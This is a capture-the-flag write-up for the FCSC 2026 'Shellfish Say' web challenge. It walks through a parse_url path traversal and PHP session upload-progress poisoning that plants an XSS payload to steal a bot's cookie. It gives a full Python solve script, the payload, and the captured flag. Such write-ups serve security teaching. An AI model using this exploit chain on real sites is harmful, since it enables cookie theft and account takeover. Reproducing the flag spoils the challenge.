Shellfish Say [EN]| FCSC 2026

- 4 mins read

Shellfish Say | FCSC 2026

Challenge

The new version of Shrimp Say is out! Discover Shellfish Say! To ask the bot to say something, connect with: nc challenges.fcsc.fr 2256 Note: The challenge VM has no internet access.

We get the full source of a Docker stack. There is a PHP/Apache web app where a cartoon shellfish “says” a quote loaded via AJAX, and a Puppeteer bot that sets a FLAG cookie on the shellfish-say domain then visits a URL we provide. Any console.log output from the browser gets forwarded back over the TCP connection.

The goal is to steal the bot’s FLAG cookie.

Source Code Analysis

index.php | The XSS Sink

const quote_file = params.get("quote") ?? "shellfish.txt";
let resp = await fetch(`/get_quote?quote=${quote_file}`);
quote = await resp.text();
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;

Ok so the quote URL parameter goes straight into a fetch URL, and the response body is set as innerHTML on the speech bubble. Classic XSS sink. If I can control what get_quote returns, I get JS execution in the page.

get_quote.php | Path Traversal via parse_url

$quote_file = "/tmp/quotes/";
if (isset($_GET["quote"])) {
    if (strpos($_GET["quote"], ":")) {
        $quote_file .= parse_url($_GET["quote"] . ".txt")["path"];
    } else {
        if (strpos($_GET["quote"], "..")) {
            $quote_file .= "shellfish.txt";
        } else {
            $quote_file .= $_GET["quote"] . ".txt";
        }
    }
}
if (!file_exists($quote_file)) {
    $quote_file = "/tmp/quotes/shellfish.txt";
}
readfile($quote_file);

This is interesting. When the quote parameter contains a :, PHP goes into the parse_url branch. It appends .txt and extracts the ["path"] component. By sticking a ? at the end of my value, .txt ends up in the query component and gets thrown away:

quote = x:/../sess_abc123?
parse_url("x:/../sess_abc123?.txt")["path"] gives "/../sess_abc123"
$quote_file = "/tmp/quotes//../sess_abc123" which resolves to "/tmp/sess_abc123"

That gives arbitrary file read, at least within open_basedir = /var/www/html/:/tmp/.

php.ini | Persistent Session Upload Progress

Two settings caught my eye:

session.upload_progress.cleanup = Off   # session file is NOT deleted after upload
session.gc_probability = 0              # sessions are NEVER garbage-collected

With the defaults (session.upload_progress.enabled = On, session.save_handler = files, save path = /tmp), any POST request with a PHPSESSID cookie and a PHP_SESSION_UPLOAD_PROGRESS form field will permanently write a session file to /tmp/sess_<PHPSESSID>.

The key thing: the session file contains the upload progress key name verbatim, no escaping. So I control part of the file content.

Exploit Chain

Step 1 | Plant the XSS payload into a session file

I send a multipart POST with a PHPSESSID cookie, a PHP_SESSION_UPLOAD_PROGRESS field containing my XSS payload, and a dummy file upload to trigger the progress mechanism.

import requests
import secrets

sid = secrets.token_hex(8)
url = "https://shellfish-say.fcsc.fr"

payload = '<img src=x onerror=console.log(document.cookie)>'
r = requests.post(
    f"{url}/get_quote",
    data={"PHP_SESSION_UPLOAD_PROGRESS": payload},
    files={"file": ("x.txt", b"X", "text/plain")},
    cookies={"PHPSESSID": sid},
)
print(r.status_code)
200

This creates /tmp/sess_<sid> containing something like:

a:1:{s:64:"upload_progress_<img src=x onerror=console.log(document.cookie)>";a:5:{...}}

Step 2 | Trigger the bot with a crafted URL

The bot visits:

http://shellfish-say/?quote=x:/../sess_<session_id>%3F

%3F is the URL-encoded ?. The JS in index.php fetches /get_quote?quote=x:/../sess_<id>?, the PHP side enters the parse_url branch, .txt falls into the query component, and readfile ends up reading /tmp/sess_<id>.

Step 3 | XSS fires

The session file content gets set as innerHTML. The <img onerror=...> tag fires console.log(document.cookie), and the bot infrastructure sends it back over the TCP connection. Simple as that.

Solve Script

import requests
import secrets
import socket

sid = secrets.token_hex(8)
app = "https://shellfish-say.fcsc.fr"

payload = '<img src=x onerror=console.log(document.cookie)>'
r = requests.post(
    f"{app}/get_quote",
    data={"PHP_SESSION_UPLOAD_PROGRESS": payload},
    files={"file": ("x.txt", b"X", "text/plain")},
    cookies={"PHPSESSID": sid},
)

visit = f"http://shellfish-say/?quote=x:/../sess_{sid}%3F\n"

s = socket.create_connection(("challenges.fcsc.fr", 2256), timeout=15)
s.settimeout(15)

buf = []
try:
    while True:
        d = s.recv(4096)
        if not d:
            break
        buf.append(d)
        if b"http://" in d or b"https://" in d:
            break
except socket.timeout:
    pass

s.sendall(visit.encode())

try:
    while True:
        d = s.recv(4096)
        if not d:
            break
        buf.append(d)
except socket.timeout:
    pass

s.close()
print(b"".join(buf).decode(errors="replace"))
$ python3 solve.py
==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
Note that your exploit must target http://shellfish-say/ to get the flag.
==========

Starting the browser...
[T1]> New tab created!
[T1]> navigating        | about:blank

Setting the flag in a cookie...

Going to the user provided link...
[T1]> navigating        | http://shellfish-say/?quote=x:/../sess_dd83a9eb661f1fdf%3F
[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (Not Found)
[T1]> console.log       | FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}

Leaving o/
[T1]> Tab closed!

Flag

FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}